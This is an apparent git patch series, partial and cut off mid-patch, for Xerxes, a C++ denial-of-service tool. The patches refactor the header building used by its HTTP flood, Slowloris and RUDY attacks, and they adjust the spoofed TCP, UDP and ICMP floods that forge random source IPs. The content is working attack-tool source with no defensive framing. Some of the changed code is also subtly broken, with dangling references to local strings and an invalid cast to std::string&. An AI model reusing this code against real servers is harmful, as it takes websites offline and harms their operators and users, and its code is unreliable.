From e3d311162836f489a95f85f711f4771044ec28f1 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Thu, 31 May 2018 01:34:24 +0400 Subject: [PATCH 01/20] Adding features... --- CMakeLists.txt | 2 +- Headers/Http_Flood.hpp | 1 + Headers/Randomizer.hpp | 20 +++++------ Headers/httphdr.hpp | 46 ++++++++++++++++++++++++ Sources/Http_Flood.cpp | 33 +++++++++-------- Sources/httphdr.cpp | 82 ++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 159 insertions(+), 25 deletions(-) create mode 100644 Headers/httphdr.hpp create mode 100644 Sources/httphdr.cpp diff --git a/CMakeLists.txt b/CMakeLists.txt index a2eb64e..6f69853 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -14,7 +14,7 @@ endif() set(CMAKE_FIND_LIBRARY_SUFFIXES ".a") set(BUILD_SHARED_LIBRARIES OFF) set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive") -add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp) +add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp Sources/httphdr.cpp Headers/httphdr.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) target_link_libraries(Xerxes ${CMAKE_DL_LIBS}) add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) diff --git a/Headers/Http_Flood.hpp b/Headers/Http_Flood.hpp index 4960546..bb20e60 100755 --- a/Headers/Http_Flood.hpp +++ b/Headers/Http_Flood.hpp @@ -7,6 +7,7 @@ #include "Logger.hpp" #include "Randomizer.hpp" #include "Attack_Vector.hpp" +#include "httphdr.hpp" class Http_Flood : public Attack_Vector { friend class Slowloris; diff --git a/Headers/Randomizer.hpp b/Headers/Randomizer.hpp index e00a4ec..48ea837 100755 --- a/Headers/Randomizer.hpp +++ b/Headers/Randomizer.hpp @@ -16,7 +16,7 @@ namespace Randomizer{ return distribution(engine); } - static const std::string randomIP(){ + static const std::string& randomIP(){ std::string src{std::to_string(randomInt(1, 256))}; src += "." + std::to_string(randomInt(1, 256)) @@ -31,7 +31,7 @@ namespace Randomizer{ return randomInt(0, 65535); } - static const std::string randomstr(){ + static const std::string& randomstr(){ int string_length = randomInt(0, 20); std::string string{}; for(int i = 0; i < string_length; i++){ @@ -40,11 +40,11 @@ namespace Randomizer{ return string; } - static const std::string randomize_Vector(const std::vector &vec){ + static const std::string& randomize_Vector(const std::vector &vec){ return vec[randomInt(0, static_cast(vec.size()) -1)]; } - static const std::string random_referer(){ + static const std::string& random_referer(){ static std::vector referer{ "https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/", "https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/", @@ -52,31 +52,31 @@ namespace Randomizer{ return randomize_Vector(referer); } - static const std::string random_useragent(const std::vector &useragents){ + static const std::string& random_useragent(const std::vector &useragents){ return randomize_Vector(useragents); } - static const std::string random_encoding(){ + static const std::string& random_encoding(){ static std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; return randomize_Vector(encoding); } - static const std::string random_caching(){ + static const std::string& random_caching(){ static std::vector caching{"no-cache", "max-age=0"}; return randomize_Vector(caching); } - static const std::string random_charset(){ + static const std::string& random_charset(){ static std::vector charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"}; return randomize_Vector(charset); } - static const std::string random_contenttype(){ + static const std::string& random_contenttype(){ static std::vector contenttype{"multipart/form-data", "application/x-url-encoded"}; return randomize_Vector(contenttype); } - static const std::string random_method(){ + static const std::string& random_method(){ static std::vector methods{"GET", "HEAD"}; return randomize_Vector(methods); } diff --git a/Headers/httphdr.hpp b/Headers/httphdr.hpp new file mode 100644 index 0000000..3378dfe --- /dev/null +++ b/Headers/httphdr.hpp @@ -0,0 +1,46 @@ +#ifndef XERXES_HTTPHDR_H +#define XERXES_HTTPHDR_H + + +#include +#include + +class httphdr { +public: + std::string get(); + std::string get_unterminated(); + void setMethod(std::string& met); + void setLocation(std::string& loc); + void setUseragent(std::string& usr); + void setCacheControl(std::string& ctrl); + void setEncoding(std::string& enc); + void setCharset(std::string& first, std::string& second); + void setReferer(std::string& ref); + void setConnectionType(std::string& type); + void setContentType(std::string& type); + void setCookie(std::string& first, std::string& second); + void setKeepAlive(int keep); + void setDNT(int D); + void setAccept(std::string& acc); + void setContentLength(int length); + +private: + std::string method{}; + std::string location{}; + std::string useragent{}; + std::string cache_control{}; + std::string encoding{}; + std::array charset{}; + std::string referer{}; + std::string content_type{}; + std::array cookie{}; + std::string connection_type{}; + int keep_alive = 0; + int DNT = 0; + std::string accept{}; + int content_length = 0; + std::string hdr{}; +}; + + +#endif //XERXES_HTTPHDR_H diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 59e1c46..3234afa 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -5,6 +5,7 @@ #include #include "../Headers/Http_Flood.hpp" +#include "../Headers/httphdr.hpp" Http_Flood::Http_Flood(std::shared_ptr conf) : Attack_Vector(std::move(conf)){ @@ -219,22 +220,26 @@ void Http_Flood::init_header(std::string& header) { header += Randomizer::randomstr(); break; case Config::HTTP:{ - header += Randomizer::random_method() + " /"; + auto http = std::make_unique(); + http->setMethod(const_cast(Randomizer::random_method())); if(conf->RandomizeHeader){ - header += Randomizer::randomstr(); + http->setLocation(const_cast(Randomizer::randomstr())); } - header += " HTTP/1.0\r\nUser-Agent: " - + Randomizer::random_useragent(*(conf->useragents)) - +" \r\nCache-Control: " + Randomizer::random_caching() - + " \r\nAccept-Encoding: " + Randomizer::random_encoding() - + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() - + " \r\nReferer: " + Randomizer::random_referer() - + " \r\nAccept: */*\r\nConnection: Keep-Alive" - + " \r\nContent-Type: " + Randomizer::random_contenttype() - + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() - + " \r\nKeep-Alive: " + std::to_string(Randomizer::randomInt(1, 5000)) - + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) - + "\r\n\r\n"; + http->setUseragent(const_cast(Randomizer::random_useragent(*(conf->useragents)))); + http->setCacheControl(const_cast(Randomizer::random_caching())); + http->setEncoding(const_cast(Randomizer::random_encoding())); + http->setCharset(const_cast(Randomizer::random_charset()), + const_cast(Randomizer::random_charset())); + http->setReferer(const_cast(Randomizer::random_referer())); + http->setAccept((std::string &) "*/*"); + http->setConnectionType((std::string &) "Keep-Alive"); + http->setContentType(const_cast(Randomizer::random_contenttype())); + http->setCookie(const_cast(Randomizer::randomstr()), + const_cast(Randomizer::randomstr())); + http->setKeepAlive(Randomizer::randomInt(1, 5000)); + http->setDNT(Randomizer::randomInt(0, 1)); + + header += http->get(); break; } default:break; diff --git a/Sources/httphdr.cpp b/Sources/httphdr.cpp new file mode 100644 index 0000000..1bf3f39 --- /dev/null +++ b/Sources/httphdr.cpp @@ -0,0 +1,82 @@ +#include "../Headers/httphdr.hpp" + +#define TERMINATOR "\r\n" + +void httphdr::setMethod(std::string &met) { + method = met; +} + +void httphdr::setLocation(std::string &loc) { + location = loc; +} + +void httphdr::setUseragent(std::string &usr) { + useragent = usr; +} + +void httphdr::setCacheControl(std::string &ctrl) { + cache_control = ctrl; +} + +void httphdr::setEncoding(std::string &enc) { + encoding = enc; +} + +void httphdr::setCharset(std::string &first, std::string &second) { + charset[0] = first; + charset[1] = second; +} + +void httphdr::setReferer(std::string &ref) { + referer = ref; +} + +void httphdr::setContentType(std::string &type) { + content_type = type; +} + +void httphdr::setCookie(std::string &first, std::string &second) { + cookie[0] = first; + cookie[1] = second; +} + +void httphdr::setKeepAlive(int keep) { + keep_alive = keep; +} + +void httphdr::setDNT(int D) { + DNT = D; +} + +void httphdr::setAccept(std::string &acc) { + accept = acc; +} + +void httphdr::setContentLength(int length) { + content_length = length; +} + +std::string httphdr::get_unterminated() { + hdr = method + " /" + location + " HTTP/1.0" + TERMINATOR + + "User-Agent: " + useragent + TERMINATOR + + "Cache-Control: " + cache_control + TERMINATOR + + "Accept-Encoding: " + encoding + TERMINATOR + + "Accept-Charset: " + charset[0] + ", " + charset[1] + TERMINATOR + + "Referer: " + referer + TERMINATOR + + "Accept: " + accept + TERMINATOR + + "Connection: " + connection_type + TERMINATOR + + "Content-Type: " + content_type + TERMINATOR + + (content_length ? "Content-Length: " + std::to_string(content_length) : "") + TERMINATOR + + "Cookie: " + cookie[0] + "=" + cookie[1] + TERMINATOR + + "Keep-Alive: " + std::to_string(keep_alive) + TERMINATOR + + "DNT: " + std::to_string(DNT) + TERMINATOR; + return hdr; +} + +void httphdr::setConnectionType(std::string &type) { + connection_type = type; +} + +std::string httphdr::get() { + return (get_unterminated() + TERMINATOR); +} From d58277c826284917df587ecb78b551ad427dae98 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Thu, 31 May 2018 10:58:50 +0400 Subject: [PATCH 02/20] optimizing... --- Headers/Http_Flood.hpp | 3 +- Headers/Slowloris.hpp | 2 +- Headers/httphdr.hpp | 23 +++------- Sources/Http_Flood.cpp | 52 +++++++++------------ Sources/Slowloris.cpp | 102 +++++++++++++++-------------------------- Sources/httphdr.cpp | 72 ++++++----------------------- 6 files changed, 79 insertions(+), 175 deletions(-) diff --git a/Headers/Http_Flood.hpp b/Headers/Http_Flood.hpp index bb20e60..d1606eb 100755 --- a/Headers/Http_Flood.hpp +++ b/Headers/Http_Flood.hpp @@ -30,8 +30,7 @@ class Http_Flood : public Attack_Vector { int write_socket(int socket, const char* string, int length); int write_socket(SSL *ssl, const char* string, int length); const SSL_METHOD *GetMethod(); - virtual void init_header(std::string& header); - virtual void init_header(std::string& header, bool); + virtual void init_header(httphdr *header); }; diff --git a/Headers/Slowloris.hpp b/Headers/Slowloris.hpp index 009a7e0..f081b9e 100755 --- a/Headers/Slowloris.hpp +++ b/Headers/Slowloris.hpp @@ -13,7 +13,7 @@ class Slowloris : public Http_Flood { private: void attack(const int *id) override; void attack_ssl(const int *id) override; - void init_header(std::string& header, bool keep_alive) override; + void init_header(httphdr *header) override; }; diff --git a/Headers/httphdr.hpp b/Headers/httphdr.hpp index 3378dfe..e8ca609 100644 --- a/Headers/httphdr.hpp +++ b/Headers/httphdr.hpp @@ -7,24 +7,10 @@ class httphdr { public: + void generate(); + void generate_unterminated(); + void overide(std::string& header); std::string get(); - std::string get_unterminated(); - void setMethod(std::string& met); - void setLocation(std::string& loc); - void setUseragent(std::string& usr); - void setCacheControl(std::string& ctrl); - void setEncoding(std::string& enc); - void setCharset(std::string& first, std::string& second); - void setReferer(std::string& ref); - void setConnectionType(std::string& type); - void setContentType(std::string& type); - void setCookie(std::string& first, std::string& second); - void setKeepAlive(int keep); - void setDNT(int D); - void setAccept(std::string& acc); - void setContentLength(int length); - -private: std::string method{}; std::string location{}; std::string useragent{}; @@ -39,6 +25,9 @@ class httphdr { int DNT = 0; std::string accept{}; int content_length = 0; + unsigned long length(); + +private: std::string hdr{}; }; diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 3234afa..65b686b 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -130,9 +130,9 @@ void Http_Flood::attack(const int *id) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); } - std::string header{}; - init_header(header); - if((r = write_socket(sockets[x], header.c_str(), header.length())) == -1){ + httphdr header{}; + init_header(&header); + if((r = write_socket(sockets[x], header.get().c_str(), header.length())) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); }else{ @@ -173,9 +173,9 @@ void Http_Flood::attack_ssl(const int *id) { CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); } - std::string header{}; - init_header(header); - if((r = write_socket(SSLs[x], header.c_str(), static_cast(header.length()))) == -1){ + httphdr header{}; + init_header(&header); + if((r = write_socket(SSLs[x], header.get().c_str(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); CTXs[x] = InitCTX(); @@ -213,39 +213,31 @@ const SSL_METHOD *Http_Flood::GetMethod() { } } -void Http_Flood::init_header(std::string& header) { +void Http_Flood::init_header(httphdr *header) { switch (conf->vector){ case Config::UDPFlood: case Config::TCPFlood: - header += Randomizer::randomstr(); + header->overide(const_cast(Randomizer::randomstr())); break; case Config::HTTP:{ - auto http = std::make_unique(); - http->setMethod(const_cast(Randomizer::random_method())); + header->method = Randomizer::random_method(); if(conf->RandomizeHeader){ - http->setLocation(const_cast(Randomizer::randomstr())); + header->location = Randomizer::randomstr(); } - http->setUseragent(const_cast(Randomizer::random_useragent(*(conf->useragents)))); - http->setCacheControl(const_cast(Randomizer::random_caching())); - http->setEncoding(const_cast(Randomizer::random_encoding())); - http->setCharset(const_cast(Randomizer::random_charset()), - const_cast(Randomizer::random_charset())); - http->setReferer(const_cast(Randomizer::random_referer())); - http->setAccept((std::string &) "*/*"); - http->setConnectionType((std::string &) "Keep-Alive"); - http->setContentType(const_cast(Randomizer::random_contenttype())); - http->setCookie(const_cast(Randomizer::randomstr()), - const_cast(Randomizer::randomstr())); - http->setKeepAlive(Randomizer::randomInt(1, 5000)); - http->setDNT(Randomizer::randomInt(0, 1)); - - header += http->get(); + header->useragent = Randomizer::random_useragent(*(conf->useragents)); + header->cache_control = Randomizer::random_caching(); + header->encoding = Randomizer::random_encoding(); + header->charset = {Randomizer::random_charset(), Randomizer::random_charset()}; + header->referer = Randomizer::random_referer(); + header->accept = "*/*"; + header->connection_type = "Keep-Alive"; + header->content_type = Randomizer::random_contenttype(); + header->cookie = {Randomizer::randomstr(), Randomizer::randomstr()}; + header->keep_alive = Randomizer::randomInt(1, 5000); + header->DNT = Randomizer::randomInt(0, 1); + header->generate(); break; } default:break; } } - -void Http_Flood::init_header(std::string& header, bool) { - -} diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index 192b7f4..e77f2eb 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -8,28 +8,25 @@ void Slowloris::attack(const int *id) { int r; std::vector sockets; - std::vector keep_alive; sockets.reserve(static_cast(conf->CONNECTIONS)); - keep_alive.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); - keep_alive.emplace_back(false); } while(true) { static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { + httphdr header{}; if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); - keep_alive[x] = false; + init_header(&header); } - std::string header{}; - init_header(header, keep_alive[x]); - if((r = write_socket(sockets[x], header.c_str(), static_cast(header.length()))) == -1){ + + if((r = write_socket(sockets[x], header.get().c_str(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); - keep_alive[x] = false; + init_header(&header); }else{ - keep_alive[x] = true; + header.overide(const_cast(Randomizer::randomstr())); if(conf->GetResponse){ read_socket(sockets[x]); } @@ -51,36 +48,33 @@ void Slowloris::attack_ssl(const int *id) { std::vector sockets; std::vector CTXs; std::vector SSLs; - std::vector keep_alive; sockets.reserve(static_cast(conf->CONNECTIONS)); CTXs.reserve(static_cast(conf->CONNECTIONS)); SSLs.reserve(static_cast(conf->CONNECTIONS)); - keep_alive.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); SSLs.emplace_back(nullptr); CTXs.emplace_back(nullptr); - keep_alive.emplace_back(false); } while(true) { static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { + httphdr header{}; if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); - keep_alive[x] = false; + init_header(&header); } - std::string header{}; - init_header(header, keep_alive[x]); - if((r = write_socket(SSLs[x], header.c_str(), static_cast(header.length()))) == -1){ + + if((r = write_socket(SSLs[x], header.get().c_str(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); - keep_alive[x] = false; + init_header(&header); }else{ - keep_alive[x] = true; + header.overide(const_cast(Randomizer::randomstr())); if(conf->GetResponse){ read_socket(SSLs[x]); } @@ -101,58 +95,34 @@ Slowloris::Slowloris(std::shared_ptr conf) : Http_Flood(std::move(conf)) } -void Slowloris::init_header(std::string& header, bool keep_alive) { +void Slowloris::init_header(httphdr *header) { + switch (conf->vector){ - case Config::Slowloris:{ - if(keep_alive){ - header += "X-a: " - + std::to_string(Randomizer::randomInt(1, 5000)) - + " \r\n"; - }else{ - header += Randomizer::random_method() + " /"; - if(conf->RandomizeHeader){ - header += Randomizer::randomstr(); - } - header += " HTTP/1.0\r\nUser-Agent: " - + Randomizer::random_useragent(*(conf->useragents)) - + " \r\nCache-Control: " + Randomizer::random_caching() - + " \r\nAccept-Encoding: " + Randomizer::random_encoding() - + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() - + " \r\nReferer: " + Randomizer::random_referer() - + " \r\nContent-Type: " + Randomizer::random_contenttype() - + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() - + " \r\nAccept: */*" - + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) - + " \r\nX-a: " + std::to_string(Randomizer::randomInt(1, 5000)) - + " \r\n"; - } + case Config::Slowloris: + header->method = Randomizer::random_method(); break; - } - case Config::Rudy:{ - if(keep_alive){ - header += Randomizer::randomstr(); - }else{ - header += "POST /"; - if(conf->RandomizeHeader){ - header += Randomizer::randomstr(); - } - header += " HTTP/1.0\r\nUser-Agent: " - + Randomizer::random_useragent(*(conf->useragents)) - + " \r\nCache-Control: " + Randomizer::random_caching() - + " \r\nAccept-Encoding: " + Randomizer::random_encoding() - + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() - + " \r\nReferer: " + Randomizer::random_referer() - + " \r\nContent-Type: " + Randomizer::random_contenttype() - + " \r\nContent-Length: " + std::to_string(Randomizer::randomInt(100000000, 1000000000)) - + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() - + " \r\nAccept: */*" - + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) - + " \r\nX-a: " + std::to_string(Randomizer::randomInt(1, 5000)) - + " \r\n"; - } + case Config::Rudy: + header->method = "POST"; + header->content_length = Randomizer::randomInt(100000000, 1000000000); break; - } default:break; } + if(conf->RandomizeHeader){ + header->location = Randomizer::randomstr(); + } + header->useragent = Randomizer::random_useragent(*(conf->useragents)); + header->cache_control = Randomizer::random_caching(); + header->encoding = Randomizer::random_encoding(); + header->charset = {Randomizer::random_charset(), Randomizer::random_charset()}; + header->referer = Randomizer::random_referer(); + header->accept = "*/*"; + header->connection_type = "Keep-Alive"; + header->content_type = Randomizer::random_contenttype(); + header->cookie = {Randomizer::randomstr(), Randomizer::randomstr()}; + header->keep_alive = Randomizer::randomInt(1, 5000); + header->DNT = Randomizer::randomInt(0, 1); + + header->generate_unterminated(); + } diff --git a/Sources/httphdr.cpp b/Sources/httphdr.cpp index 1bf3f39..8904ad8 100644 --- a/Sources/httphdr.cpp +++ b/Sources/httphdr.cpp @@ -2,61 +2,7 @@ #define TERMINATOR "\r\n" -void httphdr::setMethod(std::string &met) { - method = met; -} - -void httphdr::setLocation(std::string &loc) { - location = loc; -} - -void httphdr::setUseragent(std::string &usr) { - useragent = usr; -} - -void httphdr::setCacheControl(std::string &ctrl) { - cache_control = ctrl; -} - -void httphdr::setEncoding(std::string &enc) { - encoding = enc; -} - -void httphdr::setCharset(std::string &first, std::string &second) { - charset[0] = first; - charset[1] = second; -} - -void httphdr::setReferer(std::string &ref) { - referer = ref; -} - -void httphdr::setContentType(std::string &type) { - content_type = type; -} - -void httphdr::setCookie(std::string &first, std::string &second) { - cookie[0] = first; - cookie[1] = second; -} - -void httphdr::setKeepAlive(int keep) { - keep_alive = keep; -} - -void httphdr::setDNT(int D) { - DNT = D; -} - -void httphdr::setAccept(std::string &acc) { - accept = acc; -} - -void httphdr::setContentLength(int length) { - content_length = length; -} - -std::string httphdr::get_unterminated() { +void httphdr::generate_unterminated() { hdr = method + " /" + location + " HTTP/1.0" + TERMINATOR + "User-Agent: " + useragent + TERMINATOR + "Cache-Control: " + cache_control + TERMINATOR @@ -70,13 +16,21 @@ std::string httphdr::get_unterminated() { + "Cookie: " + cookie[0] + "=" + cookie[1] + TERMINATOR + "Keep-Alive: " + std::to_string(keep_alive) + TERMINATOR + "DNT: " + std::to_string(DNT) + TERMINATOR; - return hdr; } -void httphdr::setConnectionType(std::string &type) { - connection_type = type; +void httphdr::generate() { + generate_unterminated(); + hdr += TERMINATOR; +} + +void httphdr::overide(std::string &header) { + hdr = header; } std::string httphdr::get() { - return (get_unterminated() + TERMINATOR); + return hdr; +} + +unsigned long httphdr::length() { + return hdr.length(); } From f76103eee42c7d232933fab662f19cb86137444b Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Thu, 31 May 2018 12:52:14 +0400 Subject: [PATCH 03/20] optimizing... --- Headers/Randomizer.hpp | 11 ++++------- Headers/httphdr.hpp | 4 +++- Sources/Http_Flood.cpp | 7 ++++--- Sources/ICMP_Flood.cpp | 4 +++- Sources/Slowloris.cpp | 9 +++++---- Sources/Spoofed_TCP_Flood.cpp | 4 +++- Sources/Spoofed_UDP_Flood.cpp | 4 +++- Sources/httphdr.cpp | 14 ++++++++++---- 8 files changed, 35 insertions(+), 22 deletions(-) diff --git a/Headers/Randomizer.hpp b/Headers/Randomizer.hpp index 48ea837..00073c9 100755 --- a/Headers/Randomizer.hpp +++ b/Headers/Randomizer.hpp @@ -16,28 +16,25 @@ namespace Randomizer{ return distribution(engine); } - static const std::string& randomIP(){ - std::string src{std::to_string(randomInt(1, 256))}; + static const void randomIP(std::string& src){ + src = std::to_string(randomInt(1, 256)); src += "." + std::to_string(randomInt(1, 256)) + "." + std::to_string(randomInt(1, 256)) + "." + std::to_string(randomInt(1, 256)); - return src; } static int randomPort(){ return randomInt(0, 65535); } - static const std::string& randomstr(){ + static const void randomstr(std::string& src){ int string_length = randomInt(0, 20); - std::string string{}; for(int i = 0; i < string_length; i++){ - string += (static_cast('0' + randomInt(0, 72))); + src += (static_cast('0' + randomInt(0, 72))); } - return string; } static const std::string& randomize_Vector(const std::vector &vec){ diff --git a/Headers/httphdr.hpp b/Headers/httphdr.hpp index e8ca609..22d36de 100644 --- a/Headers/httphdr.hpp +++ b/Headers/httphdr.hpp @@ -7,9 +7,11 @@ class httphdr { public: + httphdr& operator=(std::string& header) noexcept; + httphdr& operator=(httphdr&& header) noexcept; + void generate(); void generate_unterminated(); - void overide(std::string& header); std::string get(); std::string method{}; std::string location{}; diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 65b686b..2c792bf 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -217,12 +217,12 @@ void Http_Flood::init_header(httphdr *header) { switch (conf->vector){ case Config::UDPFlood: case Config::TCPFlood: - header->overide(const_cast(Randomizer::randomstr())); + Randomizer::randomstr((std::string&)*header); break; case Config::HTTP:{ header->method = Randomizer::random_method(); if(conf->RandomizeHeader){ - header->location = Randomizer::randomstr(); + Randomizer::randomstr(header->location); } header->useragent = Randomizer::random_useragent(*(conf->useragents)); header->cache_control = Randomizer::random_caching(); @@ -232,7 +232,8 @@ void Http_Flood::init_header(httphdr *header) { header->accept = "*/*"; header->connection_type = "Keep-Alive"; header->content_type = Randomizer::random_contenttype(); - header->cookie = {Randomizer::randomstr(), Randomizer::randomstr()}; + Randomizer::randomstr(header->cookie[0]); + Randomizer::randomstr(header->cookie[1]); header->keep_alive = Randomizer::randomInt(1, 5000); header->DNT = Randomizer::randomInt(0, 1); header->generate(); diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 30fafee..04f767b 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -38,7 +38,9 @@ void ICMP_Flood::attack(const int *id) { bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } if(conf->RandomizeSource){ - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + std::string ipaddr{}; + Randomizer::randomIP(ipaddr); + if((ip->saddr = inet_addr(ipaddr.c_str())) == -1){ continue; } }else{ diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index e77f2eb..73294cc 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -26,7 +26,7 @@ void Slowloris::attack(const int *id) { sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); init_header(&header); }else{ - header.overide(const_cast(Randomizer::randomstr())); + Randomizer::randomstr((std::string&)*(&header)); if(conf->GetResponse){ read_socket(sockets[x]); } @@ -74,7 +74,7 @@ void Slowloris::attack_ssl(const int *id) { SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); init_header(&header); }else{ - header.overide(const_cast(Randomizer::randomstr())); + Randomizer::randomstr((std::string&)*(&header)); if(conf->GetResponse){ read_socket(SSLs[x]); } @@ -108,7 +108,7 @@ void Slowloris::init_header(httphdr *header) { default:break; } if(conf->RandomizeHeader){ - header->location = Randomizer::randomstr(); + Randomizer::randomstr(header->location); } header->useragent = Randomizer::random_useragent(*(conf->useragents)); header->cache_control = Randomizer::random_caching(); @@ -118,7 +118,8 @@ void Slowloris::init_header(httphdr *header) { header->accept = "*/*"; header->connection_type = "Keep-Alive"; header->content_type = Randomizer::random_contenttype(); - header->cookie = {Randomizer::randomstr(), Randomizer::randomstr()}; + Randomizer::randomstr(header->cookie[0]); + Randomizer::randomstr(header->cookie[1]); header->keep_alive = Randomizer::randomInt(1, 5000); header->DNT = Randomizer::randomInt(0, 1); diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 8e42920..80aa4a4 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -39,7 +39,9 @@ void Spoofed_TCP_Flood::attack(const int *id) { bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } if(conf->RandomizeSource){ - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + std::string ipaddr{}; + Randomizer::randomIP(ipaddr); + if((ip->saddr = inet_addr(ipaddr.c_str())) == -1){ continue; } }else{ diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 0c732c8..12e3916 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -39,7 +39,9 @@ void Spoofed_UDP_Flood::attack(const int *id) { bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } if(conf->RandomizeSource){ - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + std::string ipaddr{}; + Randomizer::randomIP(ipaddr); + if((ip->saddr = inet_addr(ipaddr.c_str())) == -1){ continue; } }else{ diff --git a/Sources/httphdr.cpp b/Sources/httphdr.cpp index 8904ad8..b8546b3 100644 --- a/Sources/httphdr.cpp +++ b/Sources/httphdr.cpp @@ -23,10 +23,6 @@ void httphdr::generate() { hdr += TERMINATOR; } -void httphdr::overide(std::string &header) { - hdr = header; -} - std::string httphdr::get() { return hdr; } @@ 